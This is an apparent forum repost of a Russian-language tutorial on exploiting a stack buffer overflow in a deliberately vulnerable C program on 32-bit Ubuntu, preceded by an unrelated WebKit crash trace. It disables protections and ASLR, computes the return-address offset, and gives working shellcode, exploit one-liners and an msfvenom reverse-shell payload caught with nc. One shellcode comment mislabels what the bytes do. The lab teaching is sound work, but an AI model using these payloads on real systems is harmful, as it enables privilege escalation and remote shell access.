9 0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
10 0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
11 0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
12 0x1160fc3b8 operationPutByValOptimize
13 0x248355c02a6d
14 0x1162865f3 llint_entry
15 0x116273242 vmEntryToJavaScript
16 0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
17 0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
18 0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
19 0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
20 0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
21 0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
22 0x10a4fadae jscmain(int, char**)
23 0x10a4fab6e main
24 0x7fff7624c3d5 start
Illegal instruction: 4
но эксплойт использует модифицированный PoC из [1] для addrof, fakeobj
потому что я не раскрываю все свои секреты =).
тогда для r/w мы используем примитивы wasm LinusHenze.
для декодирования указателей мы используем библиотеку saelo.
*/
Автор статьи: akayn
GitHub: akayn
Twitter: akayn
Перевод:lousytequila
Оригинал:https://akayn.github.io/2019/07/25/PwningWebkit.html
Специально для XSS.is
Сколько раз и в каких только контекстах не писали об уязвимости переполнения буфера! Однако в этой статье я постараюсь предоставить универсальное практическое «вступление» для энтузиастов, начинающих погружение в низкоуровневую эксплуатацию, и на примере того самого переполнения рассмотрю широкий спектр тем: от существующих на данный момент механизмов безопасности компилятора GCC до точечных особенностей разработки бинарных эксплоитов для срыва стека.
Могу поспорить: со школьной скамьи тебе твердили, что strcpy — это такая небезопасная функция, использование которой чревато попаданием в неблагоприятную ситуацию — выход за границы доступной памяти. Да и вообще «лучше используй Visual Studio». Почему эта функция небезопасна? Что может произойти, если ее использовать? Как эксплуатировать уязвимости семейства Stack-based Buffer Overflow? Ответы на эти вопросы я и дам далее.
Вот о чем конкретно пойдет речь.
Начнем, впереди долгое путешествие.
overflow.c
Итак, перед тобой есть исходник на языке C. Файл называется overflow.c и
реализует простые функции: копирование полученной от пользователя строки в
локальный буфер и вывод содержимого последнего на экран. Что с ним не так?
C:Copy to clipboard
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
// 128-байтный массив типа char
char buf[128];
// копирование первого аргумента в массив buf
strcpy(buf, argv[1]);
// вывод содержимого буфера на экран
printf("Input: %s\n", buf);
return 0;
}
Очевидно, все беды кроются в функции strcpy, прототип которой определен в заголовочном файле string.h.
C:Copy to clipboard
char *strcpy (char *dst, const char *src);
strcpy
Функция strcpy занимается тем, что копирует содержимое массива символов src
(далее для краткости я буду писать «строка») в предварительно подготовленный
для этого буфер dst. В чем же, собственно, дело? В том, что нигде ни слова не
сказано о длине исходной строки и о том, как она соотносится с размером
выделенного под нее буфера.
Локальные статические переменные функций в большинстве случаев помещаются процессором в стек вызовов (или просто в «стек»), поэтому логично предположить, что именно стек используется потенциальным нарушителем в качестве площадки для своих злодеяний: если «вылезти» за легитимные границы памяти, можно натворить почти что угодно. Ведь «получить полный контроль над системой можно, только выйдя за ее пределы…».
Компиляция
Прежде чем копаться в стеке этой программы и дизассемблировать ее, разберемся
с опциями, которые используются при компиляции. Так будет легче
ориентироваться.
Я буду работать в Ubuntu [16.04.6](https://ubuntu.com/download/alternative- downloads) (i686) и использовать компилятор GCC версии 5.4.0. Вывод информации о версии ядра следующий.
Bash:Copy to clipboard
$ uname -a
Linux pwn-ubuntu 4.15.0-58-generic #64~16.04.1-Ubuntu SMP Wed Aug 7 14:09:34 UTC 2019 i686 i686 i686 GNU/Linux
Для демонстрационных целей этой статьи я, конечно, намеренно полностью обезоружу компилятор, отняв у него все фишки для защиты целостности потока выполнения программ.
Code:Copy to clipboard
$ gcc -g -Wall -Werror -O0 -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -mpreferred-stack-boundary=2 -o overflow overflow.c
Флаги, которые я использовал:
Отлично, с аргументами разобрались. По правде говоря, такой обширный список не обязателен для демонстрации переполнения. Необходимый минимум — это -fno- stack-protector и -z execstack. Однако я решил перечислить как можно больше механизмов обеспечения безопасности исполняемых файлов, которые используются GCC. В следующих статьях я подробнее разберу упомянутые концепции защиты — и посмотрим, как можно их обойти.
Последнее, что нужно сделать в качестве подготовки, — это отключить ASLR. Сделать это можно с правами суперпользователя, внеся изменения в один из файлов procfs настройки ядра.
Code:Copy to clipboard
$ echo 0 > /proc/sys/kernel/randomize_va_space
Стек
Вспомним картинку, которую рисовали каждому юному девелоперу, где
демонстрируется расположение данных в стеке. Для конкретики возьмем наш
заведомо уязвимый исходник.
![Размещение данных в стеке для функции main
overflow.c](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fstack-layout-main-
boundary-2.png&hash=2fc052143fc5f66b27f7ddc7807ce7ef)
Размещение данных в стеке для функции main overflow.c
Два важных регистра процессора, которые участвуют в формировании стекового кадра, — это ESP и EBP.
Также нельзя оставить без внимания служебный регистр EIP , который указывает на текущую инструкцию, исполняемую процессором. Адрес возврата — это, по сути, сохраненное значение регистра EIP, которое в дальнейшем будет использовано при возврате из функции инструкцией ret по ее завершении.
Но обо всем по порядку.
Ассемблер
Сейчас самое время рассмотреть ассемблерный код, генерируемый компилятором.
Для этого, скомпилировав overflow.c командой выше, обратимся к отладчику GDB.
Чтобы получить листинг ассемблера, можно воспользоваться следующим однострочником.
Code:Copy to clipboard
$ gdb -batch -ex 'file ./overflow' -ex 'disas main'
Опция -batch говорит, что нужно выполнить команды без инициализации интерактивной сессии отладчика, которые, в свою очередь, передаются как значения аргументов -ex: открыть файл и дизассемблировать main. В качестве результата я получаю такой ассемблер с синтаксисом Intel.
Code:Copy to clipboard
Dump of assembler code for function main:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: add esp,0xffffff80
0x08048421 <+6>: mov eax,DWORD PTR [ebp+0xc]
0x08048424 <+9>: add eax,0x4
0x08048427 <+12>: mov eax,DWORD PTR [eax]
0x08048429 <+14>: push eax
0x0804842a <+15>: lea eax,[ebp-0x80]
0x0804842d <+18>: push eax
0x0804842e <+19>: call 0x80482f0 <strcpy@plt>
0x08048433 <+24>: add esp,0x8
0x08048436 <+27>: lea eax,[ebp-0x80]
0x08048439 <+30>: push eax
0x0804843a <+31>: push 0x80484d0
0x0804843f <+36>: call 0x80482e0 <printf@plt>
0x08048444 <+41>: add esp,0x8
0x08048447 <+44>: mov eax,0x0
0x0804844c <+49>: leave
0x0804844d <+50>: ret
End of assembler dump.
Подобный результат можно также получить с помощью парсера объектных файлов objdump.
Code:Copy to clipboard
$ objdump -M intel -d ./overflow | grep '<main>:' -A19
Разберем подробнее, что здесь происходит.
Code:Copy to clipboard
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: add esp,0xffffff80 // эквивалентно "sub esp,0x80"
Первые три строки — классический пролог, в котором создается стековый фрейм: значение EBP вызывающей функции сохраняется в стеке и перезаписывается его текущей вершиной. Таким образом формируется своеобразная «зона комфорта» — мы можем обращаться к локальным сущностям в универсальном стиле независимо от того, что это за функция. Также здесь выделяется место под локальные переменные: прибавить к ESP знаковое значение 0xffffff80 — все равно, что вычесть из него 128 (как раз столько, сколько нам требуется для 128-байтного буфера buf).
Code:Copy to clipboard
0x08048421 <+6>: mov eax,DWORD PTR [ebp+0xc] // eax = argv
0x08048424 <+9>: add eax,0x4 // eax = &argv[1]
0x08048427 <+12>: mov eax,DWORD PTR [eax] // eax = argv[1]
0x08048429 <+14>: push eax // подготовить аргумент "src" для функции strcpy
Затем следуют приготовления для вызова функции strcpy. Сначала обработка «источника» — аргумент src из прототипа strcpy: в регистр EAX помещается строка, переданная пользователем и сохраненная в argv[1] (нулевая ячейка отводится под имя исполняемого файла), после чего значение самого регистра кладется в стек. Указатель на массив argv находится по смещению 12 (или 0xc) после адреса возврата и значения параметра argc.
Code:Copy to clipboard
0x0804842a <+15>: lea eax,[ebp-0x80] // eax = buf
0x0804842d <+18>: push eax // подготовить аргумент "dst" для функции strcpy
Следом делается то же самое, но теперь для «назначения» — аргумент dst из прототипа strcpy: в регистр EAX загружается эффективный адрес указателя на начало массива buf, а инструкция lea (load effective address) используется для того, чтобы «на лету» вычислить смещение и поместить его в регистр.
Code:Copy to clipboard
0x0804842e <+19>: call 0x80482f0 <strcpy@plt> // strcpy(src, dst) или strcpy(buf, argv[1])
0x08048433 <+24>: add esp,0x8 // очистить стек от двух крайних значений по 4 байта каждое
Теперь все готово: можно вызвать функцию strcpy и очистить стек от двух не нужных более значений — src и dst.
Code:Copy to clipboard
0x08048436 <+27>: lea eax,[ebp-0x80] // eax = buf
0x08048439 <+30>: push eax // подготовить аргумент "buf" для функции printf
0x0804843a <+31>: push 0x80484d0 // подготовить строку формата "Input: %s\n"
0x0804843f <+36>: call 0x80482e0 <printf@plt> // printf("Input: %s\n", buf)
0x08048444 <+41>: add esp,0x8 // очистить стек от крайнего значения
Далее идет во многом схожая подготовка аргументов для функции печати введенной строки на экран.
Code:Copy to clipboard
0x08048447 <+44>: mov eax,0x0 // eax = 0x0
Регистр EAX канонично обнуляется перед возвратом из функции.
И, наконец, самое интересное — и во многом то, что делает возможным изменение поведения программы, — эпилог.
Code:Copy to clipboard
0x0804844c <+49>: leave // mov esp,ebp; pop ebp
0x0804844d <+50>: ret // eip = esp
Здесь leave разворачивается не во что иное, как в цепочку из двух инструкций — mov esp,ebp; pop ebp. Этим действием мы в точности «откатываем» то, что было сделано при создании стекового кадра: вершина стека вновь указывает на значение, которое она содержала перед входом в функцию, а EBP опять принимает значение EBP вызывающей функции. После этого выполняется инструкция ret, которая, в сущности, берет верхнее значение стека, присваивает его регистру EIP, предполагая, что это сохраненный адрес возврата в вызывающую функцию, переходит по этому адресу, не ожидая недоброго, и все вернулось бы на круги своя... Если бы здесь в игру не вступили мы.
Однако прежде чем переходить непосредственно к разбору структуры эксплоита, уделим внимание инструменту отладки GDB, с помощью которого был получен листинг ассемблера, и его модификации.
GDB (PEDA)
GDB (GNU Debugger) — инструмент
отладки, входящий в состав проекта GNU и позволяющий работать со многими
языками программирования, в том числе с C и C++. В GDB реализован интерфейс
интерактивной командной строки как механизм взаимодействия с пользователем, а
некоторые энтузиасты и вовсе умудряются
[использовать](https://blog.pclewis.com/2010/03/tip-using-gdb-as-an-
interactive-c-shell/) этот инструмент отладки, как REPL для языка C.
Признаться честно, я всегда чувствовал себя несколько неуютно внутри среды GDB из-за отсутствия вспомогательных данных «на фоне»: чтобы вытащить любую крупицу информации (текущее состояние регистров, содержимое стека, активные точки останова и прочее), нужно ввести отдельную команду, и несмотря на то, что практически все команды в GDB имеют однобуквенные алиасы, это бывает очень утомительно.
К счастью, на помощь приходит расширение PEDA (Python Exploit Development Assistance for GDB) — ассистент для GDB, написанный на Python, который призван сделать отладчик чуть более дружественным. По названию можно заметить, что используется ассистент в основном при разработке эксплоитов для бинарных уязвимостей.
Устанавливается расширение в два клика: клонируем репозиторий и активируем ассистент в конфигурационном файле GDB.
Code:Copy to clipboard
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
checksec
В PEDA доступен такой замечательный модуль, как checksec. Он поможет
определить, какие механизмы безопасности активны в данный момент для данного
исполняемого файла.
![PEDA checksec](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-
checksec.png&hash=e9cfe1c104f863b22967107dd677495d)
PEDA checksec
Подобную проверку можно также провести и без использования этого расширения для GDB, например с помощью скрипта.
Разработка эксплоитов
Итак, пора что-нибудь переполнить! Основная идея атаки срыва стека заключается
в перезаписи адреса возврата — того самого сохраненного значения регистра EIP,
по которому будет совершен прыжок, когда отработает уязвимая функция. В рамках
рассматриваемого кейса мы разместим в стеке вредоносный шелл-код, рассчитаем
его адрес и заменим им оригинальный EIP.
Рассчитать смещение EIP
Вычислить расположение адреса возврата в нашем случае можно и без помощи
каких-либо инструментов, просто изучив низкоуровневый код.
Code:Copy to clipboard
| ... |
+-----------------+
| Адрес |
| возврата |
+-----------------+
| EBP |
+-----------------+
| buf |
+-----------------+
| Свободное |
| пространство |
+-----------------+
| ... |
+-----------------+
Адрес_возврата = buf + EBP = 128 + 4 = 132
Однако существует способ автоматизировать этот процесс: он заключается в генерации уникальной строки (паттерна) заданной длины, которая будет скормлена уязвимой программе. Если таким образом нам удастся перезаписать EIP, то по значению, которое примет этот регистр, также с помощью скрипта мы легко вычислим, сколько нужно байт, чтобы добраться до адреса возврата.
Существует несколько реализаций такого подхода. Первая из них — это встроенный
в PEDA модуль pattern. Команда pattern create
Запустим отладчик (с опцией -q для подавления вывода начального приветствия) и сгенерим строку в 200 байт, чтобы удостовериться, что переполнение точно произойдет.
![Генерация уникального паттерна в PEDA
GDB](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-pattern-
create.png&hash=e33b0c96c5acea6542ded49005cb90cc)
Генерация уникального паттерна в PEDA GDB
С помощью команды run <СТРОКА> (как я уже говорил, почти все команды в GDB сокращаются до одной буквы для удобства, поэтому r — это run) запустим программу на выполнение, передав в качестве аргумента сгенерированный паттерн.
![Enter — и команда run будет
выполнена](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-
run.png&hash=1e6af571c656d457eff0e95fbc0d29bc)
Enter — и команда run будет выполнена
В результате увидим такое приятное глазу окно ассистента PEDA (чистый GDB без «обвесов» был бы очень немногословен), в котором сразу видно, какие значения приняли все важные для нас регистры. После чего, снова используя модуль pattern, рассчитаем смещение как pattern offset 0x6c414150, передав значение EIP, которое имел регистр на момент ошибки сегментации.
![Расчет смещения до регистра EIP в PEDA
GDB](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-pattern-
offset.png&hash=a69d424baf351b21f806118218a5648b)
Расчет смещения до регистра EIP в PEDA GDB
Получили 132 — это означает, что мы были правы в нашем предположении выше.
Другие реализации таких инструментов можно найти как в виде онлайновых сервисов ([Buffer Overflow EIP Offset String Generator](https://projects.jason-rush.com/tools/buffer-overflow-eip-offset- string-generator/), Buffer overflow pattern generator), так и в виде отдельных скриптов. Самый известный из них, пожалуй, [входит в состав](https://github.com/rapid7/metasploit- framework/blob/master/tools/exploit/pattern_create.rb) Metasploit.
Теперь у тебя есть информация о расположении адреса возврата. Что дальше?
Существует несколько вариантов размещения шелл-кода в пространстве стека, но сперва еще немного теории.
Шелл-коды
В будущем эксплоите роль полезной нагрузки будет выполнять шелл-
код
— набор машинных инструкций, представленных в шестнадцатеричном виде,
позволяющий получить доступ к командному интерпретатору и/или выполнить иную
последовательность действий, угодных нарушителю… То есть нам.
Шелл-коды можно:
Для нашего примера возьмем [этот](http://shell- storm.org/shellcode/files/shellcode-250.php) шелл-код размером в 33 байта для Linux x86. Он устанавливает действительный и эффективный идентификаторы пользователя для вызывающего процесса равными нулю (root) и запускает шелл.
Code:Copy to clipboard
// setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
"\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
Протестировать, что шелл-код и правда выполнится в твоей системе, можно с помощью простой программы на C.
Code:Copy to clipboard
// Использование: gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o test_shellcode_v1 test_shellcode_v1.c && ./test_shellcode_v1
#include <stdio.h>
#include <string.h>
const unsigned char shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
"\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char* argv[]) {
printf("Shellcode size: %d\n\n", strlen((const char*)shellcode));
int* ret;
ret = (int*)&ret + 2;
(*ret) = (int)shellcode;
}
Логика работы проста:
Альтернативной реализацией может стать также код на C, в котором мы будем интерпретировать массив, содержащий шелл-код, как функцию — и просто «вызовем» ее.
Code:Copy to clipboard
// Использование: gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o test_shellcode_v2 test_shellcode_v2.c && ./test_shellcode_v2
#include <stdio.h>
#include <string.h>
const unsigned char shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
"\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char* argv[]) {
printf("Shellcode size: %d\n\n", strlen((const char*)shellcode));
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
Используй что нравится, а мы идем дальше.
Полезная нагрузка до ESP
GDB позволяет использовать скрипты на Python из интерактивного режима для
облегчения процесса отладки, поэтому с помощью простой питоновской команды еще
раз убедимся, что мы можем перезаписать значение EIP на что угодно.
Для этого командой break я поставлю точку останова на инструкцию ret (адрес 0x0804844d — см. листинг ассемблера).
Code:Copy to clipboard
gdb-peda$ b *0x0804844d
После чего выполню программу, передав в качестве аргумента строку из 132 символов «A» (мусор, чтобы добраться до адреса возврата), конкатенированную со зловещим значением 0xd34dc0d3 («мертвый код»). Помня о little endian, я разворачиваю строку, содержащую адрес, с помощью питоновского механизма работы со срезами [::-1].
Code:Copy to clipboard
gdb-peda$ r `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1]'`
![Смотрим значение регистров в точке останова перед
ret](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-
breakpoint-1.png&hash=9975ebd2bf3a253d100e697aca489b1c)
Смотрим значение регистров в точке останова перед ret
Так как мы остановились перед выполнением ret, значение «мертвый код» находится на вершине стека (выделено красным), то есть в ESP, откуда он попал бы в регистр EIP, если бы мы не прервали выполнение. Также обрати внимание, что сейчас EIP равен той самой точке останова (выделено синим).
Командой x (от examine) ты можешь получить более наглядное представление о любом участке памяти, например о том, что творится сейчас в начале стекового фрейма ($esp-132), и в уме разметить его пространство, чтобы лучше понимать, как шелл-код «ляжет» на стек. Через слеш я укажу формат, в котором хочу получить результат: 64wx для запроса 64-х 4-байтных слов (w) в шестнадцатеричном виде (x).
Code:Copy to clipboard
gdb-peda$ x/64wx $esp-132
![Ожидаемое заполнение стека после загрузки шелл-
кода](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-stack-
layout-1.png&hash=f8b48926e5c813247350d3a344ec4e85)
Ожидаемое заполнение стека после загрузки шелл-кода
Давай разберемся, что я здесь изобразил.
Продолжив выполнение командой continue, мы триггерим выполнение инструкции ret, программа ожидаемо крашится с ошибкой сегментации, и адрес возврата словно по волшебству превращается в ожидаемый 0xd34dc0d3.
Code:Copy to clipboard
gdb-peda$ c
![Продолжение выполнения
программы](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-
continue-1.png&hash=78cfcb84c4cb7be483d35f54e39428e6)
Продолжение выполнения программы
Теперь можно приступать к боевым действиям. Грубый эксплоит для выполнения из интерактивной оболочки GDB выглядит так (чуть позже сделаем это более красиво и без необходимости запускать отладчик).
Code:Copy to clipboard
gdb-peda$ r `python -c 'print "\x90"*32 + "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90"*32 + "A"*35 + "\xbf\xff\xed\xe8"[::-1]'`
Адрес, который перезаписывает EIP, — 0xbfffede8: мы прыгаем ровно на середину NOP-среза (см. рисунок заполнения стека).
Теперь я сменю владельца исполняемого файла и группу на root, присвою ему бит SUID, чтобы вызов setreuid(0,0) (из шелл-кода) имел смысл, и выполню команду выше из-под отладчика.
Code:Copy to clipboard
$ sudo chown root overflow
$ sudo chgrp root overflow
$ sudo chmod +s overflow
![Спаун шелла и выполнение команды
id](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-dash-
id-1.png&hash=a346d1b5b6cbc102c7f95397c27d140b)
Спаун шелла и выполнение команды id
Таким образом мы создали новый процесс, в котором запустился шелл /bin/dash (dash, кстати, в Debian и Ubuntu заменил собой старинный /bin/sh, который, в свою очередь, превратился лишь в симлинк на /bin/dash).
Выполнив команду id, видим, что мы все еще работаем с правами обычного пользователя — дело здесь в том, что GDB [не уважает](https://unix.stackexchange.com/questions/15911/can-gdb-debug-suid- root-programs) бит SUID, только если он сам не запущен от имени root, поэтому сессию суперпользователя мы получим только тогда, когда выполним эксплуатацию без участия отладчика.
Полезная нагрузка после ESP
Если бы нам не хватило памяти для расположения шелл-кода в пределах
«официально» выделенного буфера массива buf, то можно было бы попробовать
захватить кусок «ничьей» памяти, находящейся за вершиной стека. Однако здесь
все очень ситуационно, и размер области памяти, которую было бы допустимо
использовать без серьезных последствий, непредсказуем и зависит только от
текущего состояния машины.
К примеру, если я передаю строку из 1000 дополнительных байт после перезаписи адреса возврата, то ловлю ошибку неизвестной природы из функции ptmalloc_init.
![Ошибка при перезаписи чужой
памяти](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-arena-c-
error.png&hash=08446e679aeaa336d820bc88c60872fc)
Ошибка при перезаписи чужой памяти
Произошло это из-за того, что я беспардонно вторгся на территорию области памяти, с которой уже работали другие функции, и начал наводить там свои порядки — перезаписывать значения своими данными. GDB использует вспомогательные библиотеки для вывода более информативных сообщений об ошибках в случаях, когда программа падает. Если временно отключить использование этих библиотек (в нашем варианте они все равно не слишком полезны), можно убедиться, что разделяемая библиотека стандартных функций С libc жалуется на то, что мы затронули уже занятую ей память.
Code:Copy to clipboard
gdb-peda$ show debug-file-directory // смотрим, какая директория содержит библиотеки с информацией для дебага
The directory where separate debug symbols are searched for is "/usr/lib/debug".
gdb-peda$ set debug-file-directory // временно отключаем ее использование
![Ошибка при перезаписи чужой памяти
(libc)](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-libc-so-
error.png&hash=eda8575f7f5266338925d40ea9fba076)
Ошибка при перезаписи чужой памяти (libc)
Методом «Пол, Палец, Потолок» выясняем, что при перезаписи 160 байтов за пределами стека ничего плохого не происходит.
Code:Copy to clipboard
gdb-peda$ r `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1] + "B"*160'`
![При передаче 160 байт за стек программа не
падает](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-libc-160-bytes-no-
error.png&hash=7ad44b70ab6acb433791371374c4186f)
При передаче 160 байт за стек программа не падает
Поэтому ради разнообразия сгенерируем пейлоад с помощью метасплоитовского msfvenom и посмотрим на заполнение стека при таком размещении шелл-кода.
Для этого переместимся на Kali и посмотрим список доступных полезных нагрузок для Linux x86, которые не ориентируются на использование meterpreter (его в нашем распоряжении на Ubuntu нет).
![Список пейлоадов для Linux x86 без
meterpreter](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fkali-
payloads.png&hash=05141a845dc3f5af14a8e31f19131246)
Список пейлоадов для Linux x86 без meterpreter
Я выбрал реверс-шелл linux/x86/shell_reverse_tcp. Сгенерируем его, указав в качестве жертвы localhost на 1337 порту и закодировав нагрузку с помощью энкодера x86/shikata_ga_nai для увеличения размера кода.
Code:Copy to clipboard
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp -e x86/shikata_ga_nai -a x86 --platform linux LHOST=127.0.0.1 LPORT=1337 -f c
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xbe\xaf\x6c\xe1\x7e\xd9\xe5\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x12\x83\xc7\x04\x31\x77\x0e\x03\xd8\x62\x03\x8b\x17\xa0\x34"
"\x97\x04\x15\xe8\x32\xa8\x10\xef\x73\xca\xef\x70\xe0\x4b\x40"
"\x4f\xca\xeb\xe9\xc9\x2d\x83\x96\x29\xce\x52\x01\x28\xce\x51"
"\xe8\xa5\x2f\xe9\x6c\xe6\xfe\x5a\xc2\x05\x88\xbd\xe9\x8a\xd8"
"\x55\x9c\xa5\xaf\xcd\x08\x95\x60\x6f\xa0\x60\x9d\x3d\x61\xfa"
"\x83\x71\x8e\x31\xc3";
На языке питоновских однострочников эксплоит будет выглядеть так.
Code:Copy to clipboard
python -c 'print "A"*132 + "\xbf\xff\xed\xcc"[::-1] + "\x90"*32 + "\xbe\xaf\x6c\xe1\x7e\xd9\xe5\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x12\x83\xc7\x04\x31\x77\x0e\x03\xd8\x62\x03\x8b\x17\xa0\x34\x97\x04\x15\xe8\x32\xa8\x10\xef\x73\xca\xef\x70\xe0\x4b\x40\x4f\xca\xeb\xe9\xc9\x2d\x83\x96\x29\xce\x52\x01\x28\xce\x51\xe8\xa5\x2f\xe9\x6c\xe6\xfe\x5a\xc2\x05\x88\xbd\xe9\x8a\xd8\x55\x9c\xa5\xaf\xcd\x08\x95\x60\x6f\xa0\x60\x9d\x3d\x61\xfa\x83\x71\x8e\x31\xc3" + "\x90"*32 + "A"'
А стек после внедрения шелл-кода примет следующий вид.
![Заполнение стека после загрузки шелл-
кода](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-stack-
layout-2.png&hash=e6a4bc71be96be1177b422a8b3f4e629)
Заполнение стека после загрузки шелл-кода
Здесь практически все то же самое, что и на первом рисунке анализа стека, кроме того, что полезная нагрузка теперь находится после ESP. Но при этом мы также «прыгаем» ровно на середину предваряющего шелл-код NOP-среза (адрес 0xbfffedcc), а зеленым снова выделено заполнение стека junk-символами «A»:
Code:Copy to clipboard
1 байт = доступная_память_после_ESP - NOP_срез*2 - шелл_код = 160 - 32*2 - 95
Оставив локального слушателя на 1337 порту, я запустил программу, подав на вход вредоносную строку, и получил свой шелл.
![nc ловит реверс-шелл на 1337
порту](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-dash-
id-2.png&hash=22731728d8ceb7961fa2651ad3e4282d)
nc ловит реверс-шелл на 1337 порту
Эксплоит без GDB
При работе программы не из-под отладчика адреса используемой памяти смещаются,
поэтому вредоносная строка не сработает без корректировки адреса возврата.
Чтобы узнать новое значения интересующего нас адреса, воспользуемся дампом
ядра.
Начиная с релиза 16.04 в Ubuntu по умолчанию используется кошмарный сервис Apport для управления созданием отчетов о падении программ, включая дампы ядра. Кошмарный, потому что он не дает управлять конфигурацией дампов привычными способами, поэтому для начала избавимся от него.
Code:Copy to clipboard
$ sudo vi /etc/default/apport # установить значение "enabled" в "0"
$ sudo systemctl stop apport
После этого внесем небольшие изменения в стандартное поведение создания дампов (первые три команды должны быть выполнены от имени su).
Code:Copy to clipboard
echo 1 > /proc/sys/kernel/core_uses_pid
echo '/tmp/core-%e-%s-%u-%g-%p-%t' > /proc/sys/kernel/core_pattern
echo 2 > /proc/sys/fs/suid_dumpable
$ ulimit -c unlimited
Что здесь происходит по строкам:
Далее я «уроню» нашу программу (на этот раз уже из терминала) с помощью Python, передав на вход ту самую диагностическую строку c «мертвым кодом» в качестве адреса возврата.
Code:Copy to clipboard
$ ./overflow `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1]'`
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM
Ошибка сегментирования (сделан дамп памяти)
Согласно заданному шаблону имени дамп сохранился в директории /tmp. Запустим отладчик, указав путь до файла, содержащего дамп.
Code:Copy to clipboard
$ gdb ./overflow /tmp/core-overflow-11-1000-1000-8767-1568120200 -q
